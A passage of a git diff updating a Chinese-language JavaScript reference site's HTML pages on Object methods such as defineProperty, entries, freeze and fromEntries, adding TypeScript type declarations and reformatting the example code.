                                                                            Retangle.prototype.constructor = Retangle;
                                                                            const rect = new Retangle();
                                                                            -
                                                                            console.log(rect instanceof Retangle);
                                                                            // true
                                                                            console.log(rect instanceof Shape);
                                                                            // true
                                                                            +
                                                                            console.log(rect instanceof Retangle);
                                                                            // true
                                                                            console.log(rect instanceof Shape);
                                                                            // true

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/define-properties/index.html b/standard-built-in-objects/fundamental-objects/object/define-properties/index.html index 0f66a8b8e..3243063d7 100644 --- a/standard-built-in-objects/fundamental-objects/object/define-properties/index.html +++ b/standard-built-in-objects/fundamental-objects/object/define-properties/index.html @@ -7,37 +7,43 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.defineProperties - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.defineProperties

                                                                            Object.defineProperties() 方法用于为一个对象定义 Properties 和/或修改已有的 Properties 的 Attributes。

                                                                            语法

                                                                            Object.defineProperties(O, Properties);
                                                                            参数说明类型
                                                                            O添加或修改 Properties 的目标对象object
                                                                            Properties要定义其可枚举属性或修改的属性描述符的对象object
                                                                            Attributes默认值
                                                                            configurablefalse
                                                                            enumerablefalse
                                                                            valueundefined
                                                                            writablefalse
                                                                            getundefined
                                                                            setundefined

                                                                            返回变更后的对象。

                                                                            示例

                                                                            const abc = { a: 1, b: 2, c: 3 };
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.defineProperties

                                                                            Object.defineProperties() 方法用于为一个对象定义 Properties 和/或修改已有的 Properties 的 Attributes。

                                                                            语法

                                                                            语法:

                                                                            Object.defineProperties(o, properties);

                                                                            类型声明:

                                                                            interface PropertyDescriptor {
                                                                            configurable?: boolean;
                                                                            enumerable?: boolean;
                                                                            value?: any;
                                                                            writable?: boolean;
                                                                            get?(): any;
                                                                            set?(v: any): void;
                                                                            }
                                                                            +
                                                                            interface PropertyDescriptorMap {
                                                                            [s: string]: PropertyDescriptor;
                                                                            }
                                                                            +
                                                                            interface ThisType<T> {}
                                                                            +
                                                                            interface ObjectConstructor {
                                                                            defineProperties<T>(o: T, properties: PropertyDescriptorMap & ThisType<any>): T;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o添加或修改 properties 的目标对象object
                                                                            properties要定义其可枚举属性或修改的属性描述符的对象object

                                                                            Attributes 值说明:

                                                                            Attributes说明默认值
                                                                            configurable对象的可配置性false
                                                                            enumerable对象的可枚举性false
                                                                            writable对象的可写性false
                                                                            value对象的属性值undefined
                                                                            get对象的读取访问器属性undefined
                                                                            set对象的写入访问器属性undefined

                                                                            返回值:

                                                                            返回变更后的对象。

                                                                            代码示例

                                                                            const abc = { a: 1, b: 2, c: 3 };
                                                                            Object.defineProperties(abc, {
                                                                            a: {
                                                                            value: 'One',
                                                                            writable: false,
                                                                            enumerable: false,
                                                                            configurable: false,
                                                                            },
                                                                            e: {
                                                                            value: 4,
                                                                            },
                                                                            f: {
                                                                            value: 5,
                                                                            },
                                                                            });
                                                                            console.log(abc);
                                                                            // {
                                                                            // b: "Two",
                                                                            // c: 3,
                                                                            // a: "One",
                                                                            // d: "Three",
                                                                            // e: 4,
                                                                            // f: 5,
                                                                            // }
                                                                            abc.a = 10;
                                                                            -
                                                                            console.log(abc.a);
                                                                            // 'One'
                                                                            +
                                                                            console.log(abc.a);
                                                                            // 'One'

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/define-property/index.html b/standard-built-in-objects/fundamental-objects/object/define-property/index.html index eb1286466..7d37662ce 100644 --- a/standard-built-in-objects/fundamental-objects/object/define-property/index.html +++ b/standard-built-in-objects/fundamental-objects/object/define-property/index.html @@ -7,40 +7,46 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.defineProperty - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.defineProperty

                                                                            Object.defineProperty() 方法用于为一个对象定义一个自有 Property 和/或修改已有 Property 的 Attributes。

                                                                            语法

                                                                            Object.defineProperty(O, P, Attributes);
                                                                            参数说明类型
                                                                            O定义或修改 Property 的目标对象object
                                                                            P需要定义的 Property 键名string
                                                                            Attributes被定义或修改的 Attributesobject

                                                                            返回变更后的对象。

                                                                            示例

                                                                            const foo = {};
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.defineProperty

                                                                            Object.defineProperty() 方法用于为一个对象定义一个自有 Property 和/或修改已有 Property 的 Attributes。

                                                                            语法

                                                                            语法:

                                                                            Object.defineProperty(o, p, attributes);

                                                                            类型声明:

                                                                            declare type PropertyKey = string | number | symbol;
                                                                            +
                                                                            interface PropertyDescriptor {
                                                                            configurable?: boolean;
                                                                            enumerable?: boolean;
                                                                            value?: any;
                                                                            writable?: boolean;
                                                                            get?(): any;
                                                                            set?(v: any): void;
                                                                            }
                                                                            +
                                                                            interface ThisType<T> {}
                                                                            +
                                                                            interface ObjectConstructor {
                                                                            defineProperty<T>(o: T, p: PropertyKey, attributes: PropertyDescriptor & ThisType<any>): T;
                                                                            }

                                                                            参数:

                                                                            参数说明类型
                                                                            o定义或修改 Property 的目标对象object
                                                                            p需要定义的 Property 键名string
                                                                            attributes被定义或修改的 Attributesobject

                                                                            返回值:

                                                                            返回变更后的对象。

                                                                            示例

                                                                            const foo = {};
                                                                            Object.defineProperty(foo, 'a', {
                                                                            value: 100,
                                                                            writable: true,
                                                                            enumerable: true,
                                                                            configurable: true
                                                                            })
                                                                            console.log(foo);
                                                                            // { a: 100 }
                                                                            const bar;
                                                                            // 添加属性和存取描述符
                                                                            Object.defineProperty(foo, 'b', {
                                                                            get: function(){
                                                                            return foo
                                                                            },
                                                                            set: function(newValue){
                                                                            bar = newValue
                                                                            },
                                                                            enumerable: true,
                                                                            configurable: true,
                                                                            })
                                                                            foo.b = 99;
                                                                            -
                                                                            console.log(foo.b);
                                                                            // 99

                                                                            对象属性劫持

                                                                            遍历劫持对象的所有属性

                                                                            const data = {
                                                                            a: 'a',
                                                                            b: 'b',
                                                                            c: 'c'
                                                                            };
                                                                            -
                                                                            // 遍历对象,对其属性值进行劫持
                                                                            Object.keys(data).forEach(function(key) {
                                                                            Object.defineProperty(data, key, {
                                                                            enumerable: true,
                                                                            configurable: true,
                                                                            get: function() {
                                                                            console.log('GET')
                                                                            },
                                                                            set: function(value) {
                                                                            // 当属性值发生变化时我们可以进行额外操作
                                                                            console.log('SET')
                                                                            }
                                                                            })
                                                                            })
                                                                            +
                                                                            console.log(foo.b);
                                                                            // 99

                                                                            对象属性劫持

                                                                            遍历劫持对象的所有属性

                                                                            const data = {
                                                                            a: 'a',
                                                                            b: 'b',
                                                                            c: 'c',
                                                                            };
                                                                            +
                                                                            // 遍历对象,对其属性值进行劫持
                                                                            Object.keys(data).forEach(function (key) {
                                                                            Object.defineProperty(data, key, {
                                                                            enumerable: true,
                                                                            configurable: true,
                                                                            get: function () {
                                                                            console.log('GET');
                                                                            },
                                                                            set: function (value) {
                                                                            // 当属性值发生变化时我们可以进行额外操作
                                                                            console.log('SET');
                                                                            },
                                                                            });
                                                                            });

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/entries/index.html b/standard-built-in-objects/fundamental-objects/object/entries/index.html index 570dae082..9f562c348 100644 --- a/standard-built-in-objects/fundamental-objects/object/entries/index.html +++ b/standard-built-in-objects/fundamental-objects/object/entries/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.entries - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.entries

                                                                            ⭐️ ES2017(ES8)新特性

                                                                            Object.entries() 方法用于枚举指定对象并返回以键值对组成的数组为元素的二维数组。

                                                                            语法

                                                                            语法:

                                                                            Object.entries(obj);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            values<T>(o: { [s: string]: T } | ArrayLike<T>): T[];
                                                                            -
                                                                            values(o: {}): any[];
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            obj用于枚举的对象object

                                                                            返回值:

                                                                            返回给定对象自身可枚举 Property 的键值对数组。

                                                                            方法说明

                                                                            给定对象自身可枚举属性的键值对数组,其排列与使用 for-in 循环遍历该对象时返回的顺序一致,区别在于 for-in 循环也枚举原型链中的属性。

                                                                            代码示例

                                                                            const a = { foo: 1, bar: 2 };
                                                                            Object.entries(a);
                                                                            // [['foo', 1], ['bar', 2]]
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.entries

                                                                            ⭐️ ES2017(ES8)新特性

                                                                            Object.entries() 方法用于枚举指定对象并返回以键值对组成的数组为元素的二维数组。

                                                                            语法

                                                                            语法:

                                                                            Object.entries(obj);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            values<T>(o: { [s: string]: T } | ArrayLike<T>): T[];
                                                                            +
                                                                            values(o: {}): any[];
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            obj用于枚举的对象object

                                                                            返回值:

                                                                            返回给定对象自身可枚举 Property 的键值对数组。

                                                                            方法说明

                                                                            给定对象自身可枚举属性的键值对数组,其排列与使用 for-in 循环遍历该对象时返回的顺序一致,区别在于 for-in 循环也枚举原型链中的属性。

                                                                            代码示例

                                                                            const a = { foo: 1, bar: 2 };
                                                                            Object.entries(a);
                                                                            // [['foo', 1], ['bar', 2]]
                                                                            Object.entries('foo');
                                                                            // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ]
                                                                            const obj = { a: 5, b: 7, c: 9 };
                                                                            for (const [key, value] of Object.entries(obj)) {
                                                                            console.log(`${key} ${value}`);
                                                                            // "a 5", "b 7", "c 9"
                                                                            }
                                                                            -
                                                                            Object.entries(obj).forEach(([key, value]) => {
                                                                            console.log(`${key} ${value}`); // "a 5", "b 7", "c 9"
                                                                            });

                                                                            参考资料

                                                                            +
                                                                            Object.entries(obj).forEach(([key, value]) => {
                                                                            console.log(`${key} ${value}`); // "a 5", "b 7", "c 9"
                                                                            });

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/freeze/index.html b/standard-built-in-objects/fundamental-objects/object/freeze/index.html index 5861c2800..75fb8d37e 100644 --- a/standard-built-in-objects/fundamental-objects/object/freeze/index.html +++ b/standard-built-in-objects/fundamental-objects/object/freeze/index.html @@ -7,33 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.freeze - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.freeze

                                                                            Object.freeze() 方法用于冻结一个对象。

                                                                            语法

                                                                            Object.freeze(O);
                                                                            参数说明类型
                                                                            O将被冻结的对象object

                                                                            返回被冻结的对象。

                                                                            描述

                                                                            一个被冻结的对象再也不能被修改。

                                                                            冻结了一个对象则不能向这个对象添加新的属性,不能删除已有属性,不能修改该对象已有属性的可枚举性、可配置性、可写性,以及不能修改已有属性的值。此外,冻结一个对象后该对象的原型也不能被修改。

                                                                            数据属性的值不可更改,访问器属性(有 gettersetter)也同样(但由于是函数调用,给人的错觉是还是可以修改这个属性)。

                                                                            如果一个属性的值是个对象,则这个对象中的属性是可以修改的,除非它也是个冻结对象。

                                                                            数组作为一种对象,被冻结,其元素不能被修改。没有数组元素可以被添加或移除。

                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.freeze

                                                                            Object.freeze() 方法用于冻结一个对象。

                                                                            语法

                                                                            语法:

                                                                            Object.freeze(o);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            freeze<T>(a: T[]): readonly T[];
                                                                            +
                                                                            freeze<T extends Function>(f: T): T;
                                                                            +
                                                                            freeze<T>(o: T): Readonly<T>;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o将被冻结的对象object

                                                                            返回值:

                                                                            返回被冻结的对象。

                                                                            方法说明

                                                                            一个被冻结的对象再也不能被修改。

                                                                            冻结了一个对象则不能向这个对象添加新的属性,不能删除已有属性,不能修改该对象已有属性的可枚举性、可配置性、可写性,以及不能修改已有属性的值。此外,冻结一个对象后该对象的原型也不能被修改。

                                                                            数据属性的值不可更改,访问器属性(有 gettersetter)也同样(但由于是函数调用,给人的错觉是还是可以修改这个属性)。

                                                                            如果一个属性的值是个对象,则这个对象中的属性是可以修改的,除非它也是个冻结对象。

                                                                            数组作为一种对象,被冻结,其元素不能被修改。没有数组元素可以被添加或移除。

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/from-entries/index.html b/standard-built-in-objects/fundamental-objects/object/from-entries/index.html new file mode 100644 index 000000000..79677e882 --- /dev/null +++ b/standard-built-in-objects/fundamental-objects/object/from-entries/index.html @@ -0,0 +1,50 @@ + + + + + + + + + + + Object.fromEntries - JavaScript Guidebook + + +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.fromEntries

                                                                            Object.fromEntries() 方法把键值对列表转换为一个对象。

                                                                            语法

                                                                            语法:

                                                                            Object.fromEntries(entries);

                                                                            类型声明:

                                                                            interface Iterator<T, TReturn = any, TNext = undefined> {
                                                                            // NOTE: 'next' is defined using a tuple to ensure we report the correct assignability errors in all places.
                                                                            next(...args: [] | [TNext]): IteratorResult<T, TReturn>;
                                                                            return?(value?: TReturn): IteratorResult<T, TReturn>;
                                                                            throw?(e?: any): IteratorResult<T, TReturn>;
                                                                            }
                                                                            +
                                                                            interface Iterable<T> {
                                                                            [Symbol.iterator](): Iterator<T>;
                                                                            }
                                                                            +
                                                                            interface ObjectConstructor {
                                                                            fromEntries<T = any>(entries: Iterable<readonly [PropertyKey, T]>): { [k: string]: T };
                                                                            +
                                                                            fromEntries(entries: Iterable<readonly any[]>): any;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            entries可实现可迭代协议的可迭代对象(例如 Array、Map 等)iterable

                                                                            返回值:

                                                                            返回一个由该迭代对象条目提供对应属性的新对象。

                                                                            方法说明

                                                                            Object.fromEntries() 方法接收一个键值对的列表参数,并返回一个带有这些键值对的新对象。这个迭代参数应该是一个能够实现 @@iterator 方法的的对象,返回一个迭代器对象。它生成一个具有两个元素的类数组的对象,第一个元素是将用作属性键的值,第二个元素是与该属性键关联的值。

                                                                            Object.fromEntries() 执行与 Object.entries() 互逆的操作。

                                                                            代码示例

                                                                            基本用法

                                                                            const obj = { x: 42, y: 50 };
                                                                            const entries = Object.entries(obj);
                                                                            // -> [['x', 42], ['y', 50]];
                                                                            +
                                                                            const result = Object.fromEntries(entries);
                                                                            // -> { x: 42, y: 50 }

                                                                            转换 Map 为 Object

                                                                            const map1 = new Map([
                                                                            ['big', 'small'],
                                                                            [1, 0],
                                                                            ]);
                                                                            const geek = Object.fromEntries(map1);
                                                                            console.log(geek);
                                                                            // Output: { 1: 0, big: "small" }
                                                                            +
                                                                            const map2 = new Map([
                                                                            ['Geek1', 'Intern'],
                                                                            ['stipend', 'Works basis'],
                                                                            ]);
                                                                            const geek1 = Object.fromEntries(map2);
                                                                            console.log(geek1);
                                                                            // Output: { Geek1: "Intern", sitipend: "Works basis" }

                                                                            转换 Array 为 Object

                                                                            const arr1 = [
                                                                            ['big', 'small'],
                                                                            [1, 0],
                                                                            ['a', 'z'],
                                                                            ];
                                                                            const geek = Object.fromEntries(arr1);
                                                                            console.log(geek);
                                                                            // Output: { 1: 0, big: "small", a: "z" }
                                                                            +
                                                                            const arr2 = [
                                                                            ['Geek1', 'Intern'],
                                                                            ['stipend', 'Works basis'],
                                                                            ];
                                                                            const geek1 = Object.fromEntries(arr2);
                                                                            // Output: { Geek1: "Intern", stipend: "Works basis" }

                                                                            其他转换

                                                                            const params = 'type=Get_the Value&geekno=34&paid=10';
                                                                            const searchParams = new URLSearchParams(params);
                                                                            +
                                                                            console.log(Object.fromEntries(searchParams));
                                                                            // Output: { type: "Get_ Value", geekno: "34", paid: "10" }
                                                                            +
                                                                            const object1 = { val1: 112, val2: 345, val3: 76 };
                                                                            const object2 = Object.fromEntries(Object.entries(object1).map(([key, val]) => [key, val * 3]));
                                                                            console.log(object2);
                                                                            // Output: { val1: 336, val2: 1035, val3: 228 }

                                                                            参考资料

                                                                            + + + + + diff --git a/standard-built-in-objects/fundamental-objects/object/get-own-property-descriptor/index.html b/standard-built-in-objects/fundamental-objects/object/get-own-property-descriptor/index.html index 6cdb74549..c25263e46 100644 --- a/standard-built-in-objects/fundamental-objects/object/get-own-property-descriptor/index.html +++ b/standard-built-in-objects/fundamental-objects/object/get-own-property-descriptor/index.html @@ -7,34 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.getOwnPropertyDescriptor - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.getOwnPropertyDescriptor

                                                                            Object.getOwnPropertyDescriptor() 方法可以获取对象自有 Property 的某个 Attributes。

                                                                            语法

                                                                            Object.getOwnPropertyDescriptor(O, Property);
                                                                            参数说明类型
                                                                            O需要查找的目标对象object
                                                                            Property目标对象的 Propertystring

                                                                            示例

                                                                            const foo = { a: 1 };
                                                                            -
                                                                            Object.getOwnPropertyDescriptor(foo, 'a');
                                                                            // Object {
                                                                            // value: "a",
                                                                            // writable: true,
                                                                            // enumerable: true,
                                                                            // configurable: true,
                                                                            // }
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.getOwnPropertyDescriptor

                                                                            Object.getOwnPropertyDescriptor() 方法可以获取对象自有 Property 的某个 Attributes。

                                                                            语法

                                                                            语法:

                                                                            Object.getOwnPropertyDescriptor(o, property);

                                                                            类型声明:

                                                                            declare type PropertyKey = string | number | symbol;
                                                                            +
                                                                            interface PropertyDescriptor {
                                                                            configurable?: boolean;
                                                                            enumerable?: boolean;
                                                                            value?: any;
                                                                            writable?: boolean;
                                                                            get?(): any;
                                                                            set?(v: any): void;
                                                                            }
                                                                            +
                                                                            interface ObjectConstructor {
                                                                            getOwnPropertyDescriptor(o: any, p: PropertyKey): PropertyDescriptor | undefined;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o需要查找的目标对象object
                                                                            property目标对象的 Propertystring

                                                                            代码示例

                                                                            const foo = { a: 1 };
                                                                            +
                                                                            Object.getOwnPropertyDescriptor(foo, 'a');
                                                                            // Object {
                                                                            // value: "a",
                                                                            // writable: true,
                                                                            // enumerable: true,
                                                                            // configurable: true,
                                                                            // }

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/get-own-property-descriptors/index.html b/standard-built-in-objects/fundamental-objects/object/get-own-property-descriptors/index.html index 5884272b9..42b7a16f0 100644 --- a/standard-built-in-objects/fundamental-objects/object/get-own-property-descriptors/index.html +++ b/standard-built-in-objects/fundamental-objects/object/get-own-property-descriptors/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.getOwnPropertyDescriptors - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.getOwnPropertyDescriptors

                                                                            ⭐️ ES2017(ES8)新特性

                                                                            Object.getOwnPropertyDescriptors() 方法用于获取一个对象的所有自身 Property 的 Attributes。

                                                                            语法

                                                                            语法:

                                                                            Object.getOwnPropertyDescriptors(obj);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            getOwnPropertyDescriptors<T>(
                                                                            o: T
                                                                            ): { [P in keyof T]: TypedPropertyDescriptor<T[P]> } & { [x: string]: PropertyDescriptor };
                                                                            }
                                                                            -
                                                                            interface TypedPropertyDescriptor<T> {
                                                                            enumerable?: boolean;
                                                                            configurable?: boolean;
                                                                            writable?: boolean;
                                                                            value?: T;
                                                                            get?: () => T;
                                                                            set?: (value: T) => void;
                                                                            }
                                                                            -
                                                                            interface PropertyDescriptor {
                                                                            configurable?: boolean;
                                                                            enumerable?: boolean;
                                                                            value?: any;
                                                                            writable?: boolean;
                                                                            get?(): any;
                                                                            set?(v: any): void;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            obj用于获取 Property 的 Attributes 的对象object

                                                                            代码示例

                                                                            const a = {
                                                                            name: 'Ben',
                                                                            get age() {
                                                                            return '18';
                                                                            },
                                                                            };
                                                                            -
                                                                            Object.getOwnPropertyDescriptors(a);

                                                                            参考资料

                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.getOwnPropertyDescriptors

                                                                            ⭐️ ES2017(ES8)新特性

                                                                            Object.getOwnPropertyDescriptors() 方法用于获取一个对象的所有自身 Property 的 Attributes。

                                                                            语法

                                                                            语法:

                                                                            Object.getOwnPropertyDescriptors(obj);

                                                                            类型声明:

                                                                            interface TypedPropertyDescriptor<T> {
                                                                            enumerable?: boolean;
                                                                            configurable?: boolean;
                                                                            writable?: boolean;
                                                                            value?: T;
                                                                            get?: () => T;
                                                                            set?: (value: T) => void;
                                                                            }
                                                                            +
                                                                            interface PropertyDescriptor {
                                                                            configurable?: boolean;
                                                                            enumerable?: boolean;
                                                                            value?: any;
                                                                            writable?: boolean;
                                                                            get?(): any;
                                                                            set?(v: any): void;
                                                                            }
                                                                            +
                                                                            interface ObjectConstructor {
                                                                            getOwnPropertyDescriptors<T>(
                                                                            o: T
                                                                            ): { [P in keyof T]: TypedPropertyDescriptor<T[P]> } & { [x: string]: PropertyDescriptor };
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            obj用于获取 Property 的 Attributes 的对象object

                                                                            代码示例

                                                                            const a = {
                                                                            name: 'Ben',
                                                                            get age() {
                                                                            return '18';
                                                                            },
                                                                            };
                                                                            +
                                                                            Object.getOwnPropertyDescriptors(a);

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/get-own-property-names/index.html b/standard-built-in-objects/fundamental-objects/object/get-own-property-names/index.html index ab0d47f4f..bc61855d5 100644 --- a/standard-built-in-objects/fundamental-objects/object/get-own-property-names/index.html +++ b/standard-built-in-objects/fundamental-objects/object/get-own-property-names/index.html @@ -7,38 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.getOwnPropertyNames - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.getOwnPropertyNames

                                                                            Object.getOwnPropertyNames() 方法用于获取指定对象的所有自身 Property 的键名(包括不可枚举属性但不包括 Symbol 值作为名称的属性)组成的数组。

                                                                            语法

                                                                            Object.getOwnPropertyNames(O);
                                                                            参数说明类型
                                                                            O用于获取 Property 键名的目标对象object

                                                                            返回 Properties 键名组成的数组。

                                                                            描述

                                                                            如果只需要获取可枚举属性,可以使用 Object.keys 或用 for-in 语句(还会获取到原型链上的可枚举属性,不过可以使用 Object.prototype.hasOwnProperty 方法过滤)。

                                                                            示例

                                                                            数组

                                                                            // Array
                                                                            const foo = ['a', 'b', 'c'];
                                                                            console.log(Object.getOwnPropertyNames(foo).sort());
                                                                            // ['0', '1', '2', 'length']

                                                                            类数组

                                                                            // 类数组对象
                                                                            const foo = { 0: 'a', 1: 'b', 2: 'c' };
                                                                            console.log(Object.getOwnPropertyNames(foo).sort());
                                                                            // ['0', '1', '2']
                                                                            -
                                                                            // 使用 Array.forEach 输出属性名和属性值
                                                                            Object.getOwnPropertyNames(foo).forEach(function(val, idx, array) {
                                                                            console.log(`${val}:${foo[val]}`);
                                                                            });
                                                                            // 0:a
                                                                            // 1:b
                                                                            // 2:c

                                                                            不可枚举属性

                                                                            // 不可枚举属性
                                                                            const foo = Object.create(
                                                                            {},
                                                                            {
                                                                            getBar: {
                                                                            value: function() {
                                                                            return this.bar;
                                                                            },
                                                                            enumerable: false,
                                                                            },
                                                                            }
                                                                            );
                                                                            foo.bar = 1;
                                                                            -
                                                                            console.log(Object.getOwnPropertyNames(foo).sort());
                                                                            // ['foo', 'getBar']

                                                                            仅获取自有 Property

                                                                            function SuperClass() {}
                                                                            SuperClass.prototype.inheritedMethod = function() {};
                                                                            -
                                                                            function SubClass() {
                                                                            this.prop = 5;
                                                                            this.method = function() {};
                                                                            }
                                                                            -
                                                                            SubClass.prototype = new SuperClass();
                                                                            SubClass.prototype.prototypeMethod = function() {};
                                                                            -
                                                                            Object.getOwnPropertyNames(new SubClass());
                                                                            // ['prop', 'method']

                                                                            只获取不可枚举 Property

                                                                            使用 Array.prototype.filter 方法,从所有的 Property 键名数组(使用 Object.getOwnPropertyNames 方法获取)中去除可枚举的属性(使用 Object.keys 方法获取),剩余的属性便是不可枚举的属性。

                                                                            const enum_and_nonenum = Object.getOwnPropertyNames(target);
                                                                            const enum_only = Object.keys(target);
                                                                            const nonenum_only = enum_and_nonenum.filter(function(key) {
                                                                            const indexInEnum = enum_only.indexOf(key);
                                                                            if (indexInEnum === -1) {
                                                                            return true;
                                                                            } else {
                                                                            return false;
                                                                            }
                                                                            });
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.getOwnPropertyNames

                                                                            Object.getOwnPropertyNames() 方法用于获取指定对象的所有自身 Property 的键名(包括不可枚举属性但不包括 Symbol 值作为名称的属性)组成的数组。

                                                                            语法

                                                                            语法:

                                                                            Object.getOwnPropertyNames(o);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            getOwnPropertyName(o: any): string[];
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o用于获取 Property 键名的目标对象object

                                                                            返回值:

                                                                            返回 Properties 键名组成的数组。

                                                                            方法说明

                                                                            如果只需要获取可枚举属性,可以使用 Object.keys 或用 for-in 语句(还会获取到原型链上的可枚举属性,不过可以使用 Object.prototype.hasOwnProperty 方法过滤)。

                                                                            代码示例

                                                                            数组

                                                                            const foo = ['a', 'b', 'c'];
                                                                            console.log(Object.getOwnPropertyNames(foo).sort());
                                                                            // ['0', '1', '2', 'length']

                                                                            类数组

                                                                            // 类数组对象
                                                                            const foo = { 0: 'a', 1: 'b', 2: 'c' };
                                                                            console.log(Object.getOwnPropertyNames(foo).sort());
                                                                            // ['0', '1', '2']
                                                                            +
                                                                            // 使用 Array.forEach 输出属性名和属性值
                                                                            Object.getOwnPropertyNames(foo).forEach(function (val, idx, array) {
                                                                            console.log(`${val}:${foo[val]}`);
                                                                            });
                                                                            // 0:a
                                                                            // 1:b
                                                                            // 2:c

                                                                            不可枚举属性

                                                                            // 不可枚举属性
                                                                            const foo = Object.create(
                                                                            {},
                                                                            {
                                                                            getBar: {
                                                                            value: function () {
                                                                            return this.bar;
                                                                            },
                                                                            enumerable: false,
                                                                            },
                                                                            }
                                                                            );
                                                                            foo.bar = 1;
                                                                            +
                                                                            console.log(Object.getOwnPropertyNames(foo).sort());
                                                                            // ['foo', 'getBar']

                                                                            仅获取自有 Property

                                                                            function SuperClass() {}
                                                                            SuperClass.prototype.inheritedMethod = function () {};
                                                                            +
                                                                            function SubClass() {
                                                                            this.prop = 5;
                                                                            this.method = function () {};
                                                                            }
                                                                            +
                                                                            SubClass.prototype = new SuperClass();
                                                                            SubClass.prototype.prototypeMethod = function () {};
                                                                            +
                                                                            Object.getOwnPropertyNames(new SubClass());
                                                                            // ['prop', 'method']

                                                                            只获取不可枚举 Property

                                                                            使用 Array.prototype.filter 方法,从所有的 Property 键名数组(使用 Object.getOwnPropertyNames 方法获取)中去除可枚举的属性(使用 Object.keys 方法获取),剩余的属性便是不可枚举的属性。

                                                                            const enum_and_nonenum = Object.getOwnPropertyNames(target);
                                                                            const enum_only = Object.keys(target);
                                                                            const nonenum_only = enum_and_nonenum.filter(function (key) {
                                                                            const indexInEnum = enum_only.indexOf(key);
                                                                            if (indexInEnum === -1) {
                                                                            return true;
                                                                            } else {
                                                                            return false;
                                                                            }
                                                                            });

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/get-own-property-symbols/index.html b/standard-built-in-objects/fundamental-objects/object/get-own-property-symbols/index.html index 8c7e41b6a..41ad0b05d 100644 --- a/standard-built-in-objects/fundamental-objects/object/get-own-property-symbols/index.html +++ b/standard-built-in-objects/fundamental-objects/object/get-own-property-symbols/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.getOwnPropertySymbols - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.getOwnPropertySymbols

                                                                            Object.getOwnPropertySymbols() 方法用于获取一个给定对象自身的所有 Symbol Property 的数组。

                                                                            语法

                                                                            Object.getOwnPropertySymbols(O);
                                                                            参数说明类型
                                                                            O用于获取 Symbol Property 键名的目标对象object

                                                                            返回目标对象 Symbol 组成的数组

                                                                            示例

                                                                            const foo = {};
                                                                            const a = Symbol('a');
                                                                            const b = Symbol('b');
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.getOwnPropertySymbols

                                                                            Object.getOwnPropertySymbols() 方法用于获取一个给定对象自身的所有 Symbol Property 的数组。

                                                                            语法

                                                                            语法:

                                                                            Object.getOwnPropertySymbols(o);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            getOwnPropertySymbols(o: any): symbol[];
                                                                            }

                                                                            参数说明:

